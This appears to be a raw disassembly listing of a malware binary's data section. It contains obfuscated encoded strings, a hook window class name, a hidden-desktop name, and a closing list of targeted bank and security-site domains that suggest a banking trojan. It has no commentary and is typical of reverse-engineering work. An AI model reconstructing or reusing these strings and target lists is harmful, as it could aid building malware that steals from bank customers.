aFxTE		db 'fX $t!E',0          ; DATA XREF: sub_408ED0+E7o
aQa		db 'qA',0               ; DATA XREF: sub_408ED0+207o
byte_44699B	db 0			; DATA XREF: sub_408ED0+31Bo
aZ_y9am4	db 'z.y9aM4',0          ; DATA XREF: sub_408ED0+63Bo
a3h		db '3h',0               ; DATA XREF: sub_408ED0+739o
aOi6		db ' oi%6',0            ; DATA XREF: sub_408ED0+827o
dword_4469AD	dd 2E3B72h	byte_4469B1	db 40h,	47h, 44h	; DATA XREF: sub_408ED0+866o
		dd 214E2075h
		db 0
byte_4469B9	db 47h,	21h, 5Fh	; DATA XREF: sub_408ED0+8BEo
		db 60h,	0
word_4469BE	dw 4E7Fh		; DATA XREF: sub_408ED0+92Fo
		dd 307F7Ch
word_4469C4	dw 7Fh			; DATA XREF: sub_4098A8+15r
word_4469C6	dw 4732h		; DATA XREF: sub_4098A8+28o
		dd 66213C54h
		db 0
byte_4469CD	db 4Eh,	4Ah, 62h	; DATA XREF: sub_4098A8+3Bo
		dd 397320h
byte_4469D4	db 0			; DATA XREF: sub_4098A8+4Eo
dword_4469D5	dd 4A7180h	byte_4469D9	db 2Eh,	20h, 33h	; DATA XREF: sub_4098A8+6Ao
		db 82h,	0
byte_4469DE	db 0			; DATA XREF: sub_4098A8+99o
byte_4469DF	db 3Ch			; DATA XREF: sub_4098A8+107o
		dd 792B6973h
		db 59h,	0
byte_4469E6	db 0			; DATA XREF: sub_4098A8+1A7o
byte_4469E7	db 2Ah			; DATA XREF: sub_4098A8+20Bo
		db 2Fh,	0
aOcqud		db 'ocqUd',0            ; DATA XREF: sub_4098A8+367o
word_4469F0	dw 68h			; DATA XREF: sub_4098A8:loc_409C42r
word_4469F2	dw 6Dh			; DATA XREF: sub_4098A8+3F3r
dword_4469F4	dd 39572Ch	dword_4469F8	dd 81243B4Dh, 64373Ahdword_446A00	dd 4E314Fh	dword_446A04	dd 36307F57h			db 6Ch,	61h, 0
byte_446A0B	db 55h			; DATA XREF: sub_4098A8+833o
		dd 277C57h
dword_446A10	dd 203D3A3Eh, 325020hdword_446A18	dd 6A2082h	dword_446A1C	dd 71243A5Eh			db 0
dword_446A21	dd 384E42h	dword_446A25	dd 6C3020h	byte_446A29	db 0			; DATA XREF: sub_4098A8+D04o
word_446A2A	dw 7Eh			; DATA XREF: sub_4098A8+DB4r
dword_446A2C	dd 674E5F56h			db 76h,	2Bh, 0
dword_446A33	dd 3F3C45h	byte_446A37	db 0			; DATA XREF: sub_4098A8+10EDo
word_446A38	dw 4Eh			; DATA XREF: sub_40AA24+1Br
dword_446A3A	dd 4D2065h	word_446A3E	dw 8020h		; DATA XREF: sub_40AA24+1E9o
		db 83h,	39h, 0
byte_446A43	db 44h			; DATA XREF: sub_40AA24+23Fo
		dd 79805570h
		db 59h,	46h, 0
aWq6ug		db 'wq6Ug',0            ; DATA XREF: sub_40AA24+24Do
aRf		db 'rf',0               ; DATA XREF: sub_40AA24+325o
word_446A54	dw 42h			; DATA XREF: sub_40AA24+364r
word_446A56	dw 3631h		; DATA XREF: sub_40AA24+540o
		dd 69593C58h
		db 5Fh,	0
dword_446A5E	dd 6B3377h	word_446A62	dw 3E49h		; DATA XREF: sub_40AA24+62Ao
		dd 20207F55h
		db 0
byte_446A69	db 40h,	7Ch, 0		; DATA XREF: sub_40AA24+6ADo
dword_446A6C	dd 40482480h, 556432hword_446A74	dw 26h			; DATA XREF: sub_40AA24+759r
word_446A76	dw 5A42h		; DATA XREF: sub_40AA24+78Co
		db 0
byte_446A79	db 80h,	40h, 0		; DATA XREF: sub_40AA24+862o
dword_446A7C	dd 2F206Dh	dword_446A80	dd 23302Fh	dword_446A84	dd 36627C70h			db 0
off_446A89	dd offset byte_444E5F	; DATA XREF: sub_40B3E8+188r
byte_446A8D	db 20h,	2Ah, 80h	; DATA XREF: sub_40B3E8+304o
		dd 71802668h
		db 0
aGjvry		db 'gjVRy',0            ; DATA XREF: sub_40B3E8+327o
dword_446A9B	dd 387547h	byte_446A9F	db 72h			; DATA XREF: sub_40B3E8+486o
		db 20h,	0
dword_446AA2	dd 20762Bh	word_446AA6	dw 773Bh		; DATA XREF: sub_40B3E8+68Bo
		db 0
word_446AA9	dw 2Dh			; DATA XREF: sub_40B3E8+724r
byte_446AAB	db 2Bh			; DATA XREF: sub_40B3E8+7B8o
		dd 7F4A5Eh
dword_446AB0	dd 637A4076h, 0	byte_446AB8	db 0D4h, 0		; DATA XREF: sub_40B3E8+7C7o
word_446ABA	dw 0DED9h		; DATA XREF: sub_40B3E8+6F6o
		db 0
byte_446ABD	db 81h,	0BAh, 0B5h	; DATA XREF: sub_40B3E8+5F9o
		dd 0F4B1B8B6h, 0B5F4BBA0h, 0BBBCA0A1h, 0B1AEBDA6h
		db 0
byte_446AD1	db 81h,	0BAh, 0B5h	; DATA XREF: sub_40B3E8+5E7o
		dd 0F4B1B8B6h, 0B5F4BBA0h, 0BBBCA0A1h, 0B1AEBDA6h, 9DF4F9F4h
		dd 869B979Ah, 80979186h, 9A9D84F4h, 0B884F4FAh,	0B1A7B5B1h
		dd 0BBB7F4F8h, 0B7B1A6A6h
		db 0A0h, 0FAh, 0
byte_446B07	db 0F1h			; DATA XREF: sub_40B3E8+43Co
		dd 0A7F1F9A7h
		db 0
byte_446B0D	db 84h,	0B8h, 0B1h	; DATA XREF: sub_40B3E8+406o
		dd 0F8B1A7B5h, 0B8B1A7F4h, 0F4A0B7B1h, 0BDA4AC91h, 0BDA0B5A6h
		dd 8DF4BABBh, 0A6B5B1h
dword_446B2C	dd 0F1F4A7F1h						; sub_40B3E8+639o
		db 0A7h, 0
word_446B32	dw 0B884h		; DATA XREF: sub_40B3E8+387o
		dd 0B1A7B5B1h, 0B1A7F4F8h, 0A0B7B1B8h, 0A4AC91F4h, 0A0B5A6BDh
		dd 0F4BABBBDh, 0A0BABB99h
		db 0BCh, 0
word_446B52	dw 0A7F1h		; DATA XREF: sub_40B3E8+337o
		db 0
byte_446B55	db 97h,	98h, 87h	; DATA XREF: sub_40AA24+768o
		dd 0F188909Dh, 0BA9D88A7h, 0B7BBA684h, 0A2A6B187h, 0E6E7A6B1h
		db 0
byte_446B6D	db 82h,	0		; DATA XREF: sub_40AA24+73Do
byte_446B6F	db 9Fh			; DATA XREF: sub_40AA24+716o
		db 0
aZAgJIsJZAigGzi	db '‡»² £µ¦±ˆ™½·¦»§»² ˆƒ½º°»£§ˆ—¡¦¦±º ‚±¦§½»ºˆ‡¼±¸¸‡±¦¢½·±›¶¾±· ±¸µ­'
					; DATA XREF: sub_40AA24+6DEo
		db '˜»µ°',0
aJZaJzJvDjZz	db '†±³½§ ±¦‡±¦¢½·±„¦»·±§§',0 ; DATA XREF: sub_40AA24+5F2o
word_446BCE	dw 0B1BFh		; DATA XREF: sub_40AA24+5DEo
		dd 0B8B1BAA6h, 0B0FAE6E7h
		db 2 dup(0B8h),	0
byte_446BDB	db 88h			; DATA XREF: sub_40AA24+4B3o
		dd 0A0BBBBB6h, 0A7ADA7FAh
		db 0
byte_446BE5	db 0F1h, 0A7h, 88h	; DATA XREF: sub_40AA24+467o
		dd 0B2B0ACB0h, 0FAA2B8AEh, 0A0B5B0h
dword_446BF4	dd 6B746164h, 3233716Bh, 6C6C642Eh		db 0
byte_446C01	db 64h,	6Eh, 6Bh	; DATA XREF: sub_40AA24+41Ao
		dd 642E716Bh
		db 2 dup(6Ch), 0
byte_446C0B	db 6Bh			; DATA XREF: sub_40AA24+3F4o
		dd 3233716Bh, 6C6C642Eh
		db 0
byte_446C15	db 0F1h, 0A7h, 88h	; DATA XREF: sub_40AA24+3EAo
					; sub_40AA24+410o ...
		db 0F1h, 0A7h, 0
byte_446C1B	db 0F1h			; DATA XREF: sub_40AA24+2FFo
		dd 0A7F188A7h, 0B1ACB1FAh
		db 0
byte_446C25	db 0B1h, 0BAh, 0B5h	; DATA XREF: sub_40AA24+A6o
		dd 0B0B1B8B6h
		db 0A7h, 0B2h, 0
byte_446C2F	db 88h			; DATA XREF: sub_40AA24+4Do
		dd 0A2BDA6B0h, 88A7A6B1h, 0A7BDB0BAh, 0A7FAB0A6h, 0A7ADh
dbl_446C44	dq 1.2			; DATA XREF: sub_4098A8+1002r
dword_446C4C	dd 0A6B2BDE8h, 0F4B1B9B5h, 0E9B7A6A7h, 0A4A0A0BCh, 0F1FBFBEEh
					; DATA XREF: sub_4098A8+EBCo
		dd 0FBE8EAA7h, 0B5A6B2BDh, 0EAB1B9h
dword_446C6C	dd 0B9A0BCE8h			db 0B8h, 0EAh, 0
byte_446C73	db 0B0h			; DATA XREF: sub_4098A8+D86o
		dd 0F4A7BBB0h
		db 0
byte_446C79	db 0BAh, 0B1h, 0A3h	; DATA XREF: sub_4098A8+D45o
		dd 0A6B1A2h
dword_446C80	dd 0E6B0ACh	dword_446C84	dd 0B0A4A1A3h			db 0F4h, 0
word_446C8A	dw 0A7F1h		; DATA XREF: sub_4098A8+BAAo
		dd 0F497FBF4h
		db 0F1h, 0A7h, 0
byte_446C93	db 88h			; DATA XREF: sub_4098A8+B78o
		dd 0B9B9BBB7h, 0FAB0BAB5h, 0B9BBB7h
dword_446CA0	dd 0B788A7F1h, 0B5B9B9BBh, 0A4FAB0BAh		db 0BDh, 0B2h, 0
byte_446CAF	db 88h			; DATA XREF: sub_4098A8+B1Ao
		dd 0FAB0B9B7h, 0B1ACB1h
dword_446CB8	dd 0B788A7F1h, 0A4FAB0B9h		db 0BDh, 0B2h, 0
byte_446CC3	db 0EEh			; DATA XREF: sub_4098A8+A5Eo
		dd 0A1E6E4F1h
		db 0
byte_446CC9	db 0EBh, 0B0h, 0B9h	; DATA XREF: sub_4098A8+933o
		dd 0E6E9A4h
dword_446CD0	dd 0F188A7F1h, 0B9A0FAA7h		db 0A4h, 0
word_446CDA	dw 0A4A3h		; DATA XREF: sub_4098A8+4F0o
		dd 0F4A0A7h
byte_446CE0	db 0A5h, 0		; DATA XREF: sub_4098A8+272o
					; sub_4098A8+616o ...
word_446CE2	dw 0BDEBh		; DATA XREF: sub_4098A8+21Ao
		dd 0F1E9B7B2h
		db 0A1h, 0
word_446CEA	dw 0B2BDh		; DATA XREF: sub_4098A8+1C6o
					; sub_4098A8+31Bo
		db 0B7h, 0
aZAgJIsJZAigGz	db '‡»² £µ¦±ˆ™½·¦»§»² ˆƒ½º°»£§',0 ; DATA XREF: sub_4098A8+1B4o
					; sub_4098A8+309o
byte_446D09	db 0FBh, 0A3h, 0B7h	; DATA XREF: sub_4098A8+171o
		dd 0A4FAB2B1h
		db 0BCh, 0A4h, 0
byte_446D13	db 0FBh			; DATA XREF: sub_4098A8+13Co
		db 0
byte_446D15	db 0BCh, 2 dup(0A0h)	; DATA XREF: sub_4098A8+116o
		dd 0FBFBEEA4h
		db 0F1h, 0A7h, 0
byte_446D1F	db 0F1h			; DATA XREF: sub_4098A8+BBo
					; sub_4098A8+5E6o ...
		dd 0A7F188A7h, 0A0B5B0FAh
		db 0
byte_446D29	db 97h,	0B8h, 0BDh	; DATA XREF: sub_408ED0+773o
		dd 9BF4BFB7h, 0F4B1B7BAh, 97F4BB80h, 0BDA0BABBh, 0B1A1BAh
dword_446D40	dd 80808196h			db 9Bh,	9Ah, 0
byte_446D47	db 91h			; DATA XREF: sub_408ED0+667o
					; sub_408ED0+6D7o
		db 90h
		db 9Dh,	80h, 0
dword_446D4C	dd 0B5B1B884h, 0B9F4B1A7h, 0F4B1BFB5h, 0A6A6BBB7h, 0BDA0B7B1h
					; DATA XREF: sub_408ED0+5C0o
		dd 0F4A7BABBh, 0F4B0BAB5h, 0F4ADA6A0h, 0BDB5B3B5h
		db 0BAh, 0FAh, 0
byte_446D73	db 81h			; DATA XREF: sub_408ED0+547o
		dd 0B8B6B5BAh, 0BBA0F4B1h, 0A0A1B5F4h, 0BDA6BBBCh, 0F4FAB1AEh
		dd 0F4998095h, 0F99A9D84h, 0B1B0BB97h, 0F4A7BDF4h, 0A1A5B1A6h
		dd 0B0B1A6BDh, 0F4BBA0F4h, 0A4B9BBB7h, 0B1A0B1B8h, 0B1BCA0F4h
		dd 0B5A6A0F4h, 0B7B5A7BAh, 0BABBBDA0h
		db 0FAh, 0
word_446DBE	dw 8095h		; DATA XREF: sub_408ED0+4D2o
		dd 9D84F499h, 0BB97F99Ah
		db 0B0h, 0B1h, 0
byte_446DCB	db 91h			; DATA XREF: sub_408ED0+460o
		dd 0A6BDA4ACh, 0BBBDA0B5h, 0B5B0F4BAh
		db 0A0h, 0B1h, 0
byte_446DDB	db 8Dh			; DATA XREF: sub_408ED0+3EAo
		dd 0F4A6A1BBh, 0B0A6B5B7h, 0B9A1BAF4h, 0A6B1B6h
dword_446DEC	dd 0FAF1E4E6h			db 0E6h, 0A1h, 0
byte_446DF3	db 0F1h			; DATA XREF: sub_408ED0+328o
		dd 0A1E6FAh
dword_446DF8	dd 96999B97h, 8C9B969Bh					; sub_408ED0+289o
		db 0
byte_446E01	db 0DEh, 2 dup(0F4h)	; DATA XREF: sub_408ED0+103o
		dd 0A0A195F4h, 0BDA6BBBCh, 0BDA0B5AEh, 92F4BABBh, 0B1B8BDB5h
		db 0B0h, 0FAh, 0
byte_446E1B	db 87h			; DATA XREF: sub_408ED0+F1o
					; sub_408ED0+15Eo ...
		dd 9D809580h
		db 97h,	0
; char ClassName[]
ClassName	db 'KKQHOOK',0          ; DATA XREF: sub_408ED0+CDo
					; sub_4098A8+288o ...
		db 0
aSmdJJ		db '‘¬¤¸»¦±¦',0         ; DATA XREF: sub_408ED0+3Ao
					; sub_40B3E8+C1o
aRIA		db '»·›¶¾±· ',0        ; DATA XREF: sub_408ED0+1Eo
					; sub_40B3E8+9Eo
word_446E3E	dw 0D3C6h		; DATA XREF: sub_408B4C+177o
; ---------------------------------------------------------------------------
		jmp	edx
; ---------------------------------------------------------------------------
		dw 0F6EAh
		dd 0B4FFE8F5h, 0BAFFE2FFh
		db 0
byte_446E4D	db 0CAh, 0FBh, 0EEh	; DATA XREF: sub_408B4C+F4o
		db 0F2h, 0
word_446E52	dw 0F5C9h		; DATA XREF: sub_408B4C+DFo
		dd 0FBEDEEFCh, 0D7C6FFE8h, 0F5E8F9F3h, 0EEFCF5E9h, 0BADFD3C6h
		dd 0EFEEFFC9h, 0FFC9C6EAh, 0EAEFEEh
dword_446E74	dd 0F7EEF2B4h			db 0
byte_446E79	db 66h,	59h, 57h	; DATA XREF: sub_40844F+FEo
		dd 425F145Eh, 79151A5Fh, 5B4E491Ah, 591A4E48h, 55586600h
		dd 49144E55h
		db 43h,	49h, 0
byte_446E97	db 1Fh			; DATA XREF: sub_40844F+D9o
		dd 57596649h, 534A145Eh
		db 5Ch,	0
word_446EA2	dw 5166h		; DATA XREF: sub_40833E+71o
		dd 5F54485Fh, 14080956h, 56565Eh
byte_446EB0	db 0F0h, 0F7h, 0	; DATA XREF: sub_408048+229o
byte_446EB3	db 0D3h			; DATA XREF: sub_406D2E+F05o
		dd 9A92929Ah, 9CD39891h, 8F9C8A99h
		db 98h,	0
word_446EC2	dw 9AD3h		; DATA XREF: sub_406D2E+ED8o
		dd 919A9292h
		db 98h,	0D3h, 0
byte_446ECB	db 0DDh			; DATA XREF: sub_406D2E+E6Bo
		db 0
byte_446ECD	db 0C7h, 0		; DATA XREF: sub_406D2E+DE9o
byte_446ECF	db 0DDh			; DATA XREF: sub_406D2E+D83o
		dd 0C7A5D8h
byte_446ED4	db 81h,	0		; DATA XREF: sub_406D2E+6CFo
aPVEPVE		db 'Á»¯¼°¸¢Ø¥Ð»²¯°¢Ø¥ÃÝ',0 ; DATA XREF: sub_406D2E+625o
aNPVE		db 'Á°¼´³­ºÐ»²¯°¢Ø¥ÃÝ',0 ; DATA XREF: sub_406D2E+5DCo
; OLECHAR aName
aName:					; DATA XREF: sub_406D2E+3Do
		unicode	0, <name>,0
		align 4
; OLECHAR psz
psz:					; DATA XREF: sub_406D2E+2Do
		unicode	0, <value>,0
unk_446F14	db  5Bh	; [		; DATA XREF: sub_406A40+A8o
		db 7Fh,	75h, 64h
aYeypb6_xbsdxsb	db 'yeypb6_xbsdxsb6Snfzydsd',0
; OLECHAR sz
sz:					; DATA XREF: sub_40696D+34o
		unicode	0, <{9BA05972-F6A8-11CF-A442-00A0C90A8F39}>,0
; char String[]
String		db '<HTML><!--',0       ; DATA XREF: sub_4061F7+4E4o
					; sub_4061F7+4EFo ...
aXOkrecv11	db 'X-okRecv11',0       ; DATA XREF: sub_4061F7+422o
aUyznQy		db 'uyzN]QY',0          ; DATA XREF: sub_4061F7+389o
dword_446F9C	dd 49194F19h, 711C111Ch, 534E5F55h, 485A534Fh, 4852751Ch
					; DATA XREF: sub_4061F7+340o
		dd 59524E59h, 44791C48h, 4E53504Ch
		db 59h,	4Eh, 0
byte_446FBF	db 60h			; DATA XREF: sub_4061F7+1EAo
		dd 4C445975h, 594E5350h, 59445912h
		db 1Ch,	0
word_446FCE	dw 5D6Ch		; DATA XREF: sub_4061F7+B5o
		db 48h,	54h, 0
byte_446FD3	db 6Fh			; DATA XREF: sub_4061F7+A3o
		dd 4B485A53h, 60594E5Dh, 4E5F5571h, 5A534F53h, 79756048h
		dd 48596F1Ch, 6F604C49h, 4C494859h
		db 0
byte_446FF5	db 7Dh,	2 dup(4Ch)	; DATA XREF: sub_405E88+333o
		dd 52594A79h, 6F604F48h, 5159545Fh, 7D604F59h, 604F4C4Ch
		dd 504C4479h, 4E594E53h, 485F7D60h, 485D4A55h, 785B5255h
		dd 51495F53h, 60485259h, 4E497F12h, 4852594Eh
		db 0
byte_447031	db 7Dh,	2 dup(4Ch)	; DATA XREF: sub_405E88+309o
		dd 52594A79h, 6F604F48h, 5159545Fh, 7D604F59h, 604F4C4Ch
		dd 504C4479h, 4E594E53h, 4A5D7260h, 485D5B55h, 605B5255h
		dd 4E497F12h, 4852594Eh
		db 0
aPsPioynszzpury	db '{PS^]PiOYNsZZPURY',0 ; DATA XREF: sub_405E88+2CCo
byte_447077	db 6Fh			; DATA XREF: sub_405E88+2BAo
		dd 4B485A53h, 60594E5Dh, 4E5F5571h, 5A534F53h, 556B6048h
		dd 4B535852h, 497F604Fh, 52594E4Eh, 4E596A48h, 5253554Fh
		dd 48527560h, 59524E59h, 596F1C48h, 52554848h
		db 5Bh,	4Fh, 0
byte_4470B3	db 55h			; DATA XREF: sub_405E88+271o
		dd 504C4459h, 12594E53h, 594459h
dword_4470C0	dd 6F604F19h, 4B485A53h, 60594E5Dh, 4E5F5571h, 5A534F53h
					; DATA XREF: sub_405E88+245o
		dd 52756048h, 524E5948h, 791C4859h, 53504C44h, 604E594Eh
		dd 52555D71h, 5D597A60h, 594E4948h, 4852537Fh, 6050534Eh
		dd 687D797Ah, 63796E69h, 7D7F7370h, 7F7D7170h, 79727574h
		dd 7F737063h, 6B737877h
		db 72h,	0
word_44711A	dw 5945h		; DATA XREF: sub_405E88+1E1o
		db 4Fh,	0
aNskoyryklns_yo	db '~NSKOYrYKlNS_YOO',0 ; DATA XREF: sub_405E88+1CFo
byte_44712F	db 12h			; DATA XREF: sub_405E88+1BDo
		dd 7D7A7978h, 60687069h, 687A736Fh, 796E7D6Bh, 5F557160h
		dd 534F534Eh, 6B60485Ah, 53585255h, 7F604F4Bh
aInnyrhjynousrY	db 'INNYRHjYNOUSR`yDLPSNYN`~NSKOYrYKlNS_YOO',0
dword_44717C	dd 687A736Fh, 796E7D6Bh, 50536C60h, 59555F55h, 5571604Fh
					; DATA XREF: sub_405E88+101o
		dd 4F534E5Fh, 60485A53h, 5852556Bh, 604F4B53h, 4E4E497Fh
		dd 6A485259h, 554F4E59h, 75605253h, 4E594852h, 1C485952h
		dd 4848596Fh, 4F5B5255h, 52536660h, 19604F59h
		db 49h,	0
word_4471CA	dw 0A0Dh		; DATA XREF: sub_405E88+7Ao
					; sub_405E88+B7o ...
		db 0Ch,	0Dh, 0
byte_4471CF	db 6Fh			; DATA XREF: sub_405E88+54o
		dd 6B687A73h, 60796E7Dh, 4E5F5571h, 5A534F53h, 556B6048h
		dd 4B535852h, 497F604Fh, 52594E4Eh, 4E596A48h, 5253554Fh
		dd 48527560h, 59524E59h, 596F1C48h, 52554848h, 66604F5Bh
		dd 4F595253h, 491960h
dword_447214	dd 48541300h, 25051hdword_44721C	dd 535E1300h, 24558hdword_447224	dd 5F4F1300h, 484C554Eh		db 2, 0
word_44722E	dw 594Fh		; DATA XREF: sub_4054C8+84Ao
		dd 51556848h, 48495359h, 4F191E14h, 101E1514h, 7154919h
		db 0
byte_447245	db 41h,	0		; DATA XREF: sub_4054C8+825o
byte_447247	db 58h			; DATA XREF: sub_4054C8+7DBo
		dd 51495F53h, 12485259h, 4F124F19h, 55515E49h, 7151448h
		db 0
byte_44725D	db 5Ah,	49h, 52h	; DATA XREF: sub_4054C8+79Bo
		dd 5355485Fh, 4F191C52h, 471514h
dword_44726C	dd 12195F19h			db 0Eh,	49h, 0
byte_447273	db 0			; DATA XREF: sub_4054C8+6F1o
		dd 554E5F4Fh, 2484Ch
dword_44727C	dd 535A1300h, 2514Ehdword_447284	dd 4C525500h, 481C4849h, 1594C45h, 5E494F1Eh, 1E485551h
					; DATA XREF: sub_4054C8+6A8o
		dd 505D4A1Ch, 1B015949h
		db 1Bh,	2, 0
off_4472A3	dd offset loc_404F16+3	; DATA XREF: sub_4054C8+565o
byte_4472A7	db 0			; DATA XREF: sub_4054C8+494o
					; sub_4054C8+612o
		dd 494C5255h, 45481C48h, 1E01594Ch, 48555859h, 5D4A1C1Eh
		dd 1594950h, 1B4F191Bh,	515D521Ch, 191B0159h, 1B49194Fh
		dd 4E5E0002h, 363102h
dword_4472D8	dd 4C525500h, 481C4849h, 1594C45h, 5558591Eh, 4A1C1E48h
					; DATA XREF: sub_4054C8+326o
		dd 5949505Dh, 49191B01h, 5D521C1Bh, 1B015951h, 21B5Dh
		dd 31024E5Eh
		db 36h,	0
word_447306	dw 5A00h		; DATA XREF: sub_4054C8+2C9o
		dd 1C514E53h, 55485F5Dh, 1E015253h, 1C1E4F19h, 54485951h
		dd 1E015853h, 686F736Ch, 5D521C1Eh, 1E015951h, 21E4F19h
		db 0
byte_447331	db 5Ah,	19h, 12h	; DATA XREF: sub_4054C8+286o
		db 0Fh,	49h, 0
byte_447337	db 0			; DATA XREF: sub_4054C8+250o
		dd 4558535Eh
		db 2, 0
word_44733E	dw 1300h		; DATA XREF: sub_4054C8+224o
		dd 585D5954h
		db 2, 0
word_447346	dw 694Dh		; DATA XREF: sub_4054C8+1F8o
					; sub_4061F7+350o
		dd 536F7263h, 2D74666Fh, 70726F43h
		db 0
byte_447355	db 0, 48h, 55h		; DATA XREF: sub_4054C8+1E8o
		dd 2595048h, 49194F19h,	55481300h, 2595048h
		db 0
byte_447369	db 0, 54h, 59h		; DATA XREF: sub_4054C8+1BFo
		dd 2585Dh
dword_447370	dd 51485400h			db 50h,	2, 0
byte_447377	db 12h			; DATA XREF: sub_4054C8+168o
		dd 514854h
dword_44737C	dd 5F194F19h						; sub_4054C8+412o
		db 19h,	5Fh, 0
byte_447383	db 16h			; DATA XREF: sub_40523D:loc_4052F5o
		db 12h,	16h, 0
byte_447387	db 3			; DATA XREF: sub_40523D+4Do
		db 0
byte_447389	db 56h,	5Eh, 17h	; DATA XREF: sub_404EC6+15Eo
		db 0Eh,	0
word_44738E	dw 175Eh		; DATA XREF: sub_404EC6+FAo
		db 0Eh,	0
word_447392	dw 34Bh			; DATA XREF: sub_404EC6+8Co
		dd 13494B5Eh, 494B5E03h, 4B5E0313h, 5E031349h, 313494Bh
		dd 13494B5Eh, 494B5E03h
		db 13h,	3, 0
byte_4473B3	db 28h			; DATA XREF: sub_404EC6+57o
		dd 0E175E56h
		db 56h,	0
word_4473BA	dw 998Ah		; DATA XREF: sub_40481B+5A8o
		dd 0C2D8D3D5h, 88C4D3h
dword_4473C4	dd 0D8D3D58Ah, 88C4D3C2h		db 0
byte_4473CD	db 8Ah,	99h, 0D0h	; DATA XREF: sub_40481B+527o
; ---------------------------------------------------------------------------
		fstp1	st
		retn	88h
; ---------------------------------------------------------------------------
byte_4473D5	db 8Ah,	99h, 0C3h	; DATA XREF: sub_40481B+4FAo
		db 88h,	0
word_4473DA	dw 998Ah		; DATA XREF: sub_40481B+4D2o
		db 0D4h, 88h, 0
byte_4473DF	db 8Ah			; DATA XREF: sub_40481B+49Ao
		dd 88DF99h
dword_4473E4	dd 88DF8Ah	dword_4473E8	dd 88C38Ah	dword_4473EC	dd 88D48Ah	dword_4473F0	dd 88C4D48Ah			db 0
byte_4473F5	db 2 dup(9Bh), 88h	; DATA XREF: sub_40481B+200o
		db 96h,	0
word_4473FA	dw 978Ah		; DATA XREF: sub_40481B+6Do
		dd 969B9Bh
byte_447400	db 0BBh, 0BCh, 0	; DATA XREF: sub_404529+2D9o
					; sub_40481B+5F1o
byte_447403	db 99h			; DATA XREF: sub_404529+22Ao
		dd 93D59399h, 0BBD593D5h
		db 0BCh, 0
aCuUUClcuN	db 'À×Ä–“Õ“Õ“Õ–‹–“Ã',0 ; DATA XREF: sub_404529+135o
aCS		db '–œ™',0              ; DATA XREF: sub_404529+FFo
aUU		db '“Å“Õ',0             ; DATA XREF: sub_404529+95o
					; sub_40481B+ABo ...
aSC		db '™œ–',0              ; DATA XREF: sub_404529+5Fo
; char szDesktop[]
szDesktop	db 'blind_user',0       ; DATA XREF: sub_4043CA+65o
					; sub_40446E+12o
aSS		db '¿éºµÙº¿é',0         ; DATA XREF: sub_40406B+286o
dword_447440	dd 0F5F5F6A0h, 0DA9097EAh, 0BAF6FFFEh, 0F4A4E9BFh, 9097F6EFh
					; DATA XREF: sub_40406B+213o
		dd 0BAFCF3DAh, 0E9F3E2FFh, 0E9BFBAEEh, 0EEF5FDBAh, 0F5F6BAF5h
		dd 9097EAF5h, 0F6FFFEDAh, 0A4E9BFBAh, 97F6EFF4h
		db 90h
		align 2
word_44747A	dw 0F9C6h		; DATA XREF: sub_40406B+1AEo
		dd 0FBF7F7F5h, 0F9B4FEF4h
		db 0F5h, 0F7h, 0
byte_447487	db 0BFh			; DATA XREF: sub_40406B+17Bo
		dd 0F5F9C6E9h, 0F4FBF7F7h, 0F3EAB4FEh
		db 0FCh, 0
word_447496	dw 0E9BFh		; DATA XREF: sub_40406B+156o
		dd 0F6E9E2C6h, 0A3F6FEFCh, 0FBF8B4E2h
		db 0EEh, 0
word_4474A6	dw 0F9C6h		; DATA XREF: sub_40406B+11Ao
		dd 0FFB4FEF7h
		db 0E2h, 0FFh, 0
byte_4474AF	db 0BFh			; DATA XREF: sub_40406B+FAo
		dd 0F7F9C6E9h, 0F3EAB4FEh
		db 0FCh, 0
word_4474BA	dw 0E9BFh		; DATA XREF: sub_40406B+DAo
		dd 0F6E9E2C6h, 0F4F6FEFCh, 0FBF8B4EEh
		db 0EEh, 0
aKNoLEfLKNeoOke	db 'ж¿­®¸«¼…”°º«¶ª¶¿­…ް·½¶®ª…𬫫¼·­¼«ª°¶·…б¼µµŠ¼«¯°º¼–»³¼º­¼µ¸ '
					; DATA XREF: sub_403BE7+332o
		db '•¶¸½',0
aSiLnN		db '˜©¸«­´¼·­',0        ; DATA XREF: sub_403BE7+30Do
aNLF		db '±«¼¸½°·¾”¶½¼µ',0   ; DATA XREF: sub_403BE7+2FBo
; const	CHAR WindowName
WindowName	db 0			; DATA XREF: sub_403BE7+2DEo
					; sub_405E88+317o ...
word_44752A	dw 959Ah		; DATA XREF: sub_403BE7+2B4o
		dd 859D908Ah, 9085AAFCh, 0B6AB89B7h, 0ABBC8ABAh, 0EAABBCAFh
		db 0EBh, 0
word_447542	dw 0AAFCh		; DATA XREF: sub_403BE7+210o
		dd 0F7AAFC85h, 0B5B5BDh
dword_44754C	dd 0EDE9FCA2h, 0EDE9FC81h, 0E9FCF481h, 0FCF481EDh, 0F481EDE9h
					; DATA XREF: sub_403BE7+2Bo
		dd 81EDE9FCh, 0EDE9FCF4h, 2 dup(0EDE9FC81h)
		db 81h,	0A4h, 0
byte_447573	db 0F9h			; DATA XREF: sub_403A5F+130o
		db 0
byte_447575	db 0FCh, 0AAh, 85h	; DATA XREF: sub_403A5F+53o
		dd 0BCF7AAFCh
		db 0A1h, 0BCh, 0
byte_44757F	db 0FCh			; DATA XREF: sub_40399B+7Do
		dd 81E1E9h
byte_447584	db 56h,	0		; DATA XREF: sub_4037CA+32o
					; .text:00403896o
word_447586	dw 83h			; DATA XREF: sub_4036BC+2Fo
byte_447588	db 0E3h, 0		; DATA XREF: sub_4035DB+9Bo
word_44758A	dw 0E995h		; DATA XREF: sub_40341E+32o
					; sub_40349A+3Fo
		db 0
aChevychasebank	db 'chevychasebank.com',0 ; DATA XREF: .text:0043C1E0o
aGronxplanets_r	db 'gronxplanets.ru',0  ; DATA XREF: .text:0043C1DCo
aWww_mdmbank_ru	db 'www.mdmbank.ru',0   ; DATA XREF: .text:0043C1D8o
aFethard_biz	db 'fethard.biz',0      ; DATA XREF: .text:0043C1D4o
aRoyalbank_com	db 'royalbank.com',0
aSecuritylab_ru	db 'securitylab.ru',0   ; DATA XREF: .text:0043C1CCo
aTatNeftbank_ru	db 'tat-neftbank.ru',0  ; DATA XREF: .text:0043C1C8o
aSeclab_ru	db 'seclab.ru',0        ; DATA XREF: .text:0043C1C4o
aOpenbank_com	db 'openbank.com',0     ; DATA XREF: .text:0043C1C0o
aGutabank_ru	db 'gutabank.ru',0      ; DATA XREF: .text:0043C1BCo
aWww_b2bTrust_c	db 'www.b2b-trust.com',0 ; DATA XREF: .text:0043C1B8o
aGrepwareFacili	db 'grepware-facility.ru',0 ; DATA XREF: .text:0043C1B4o
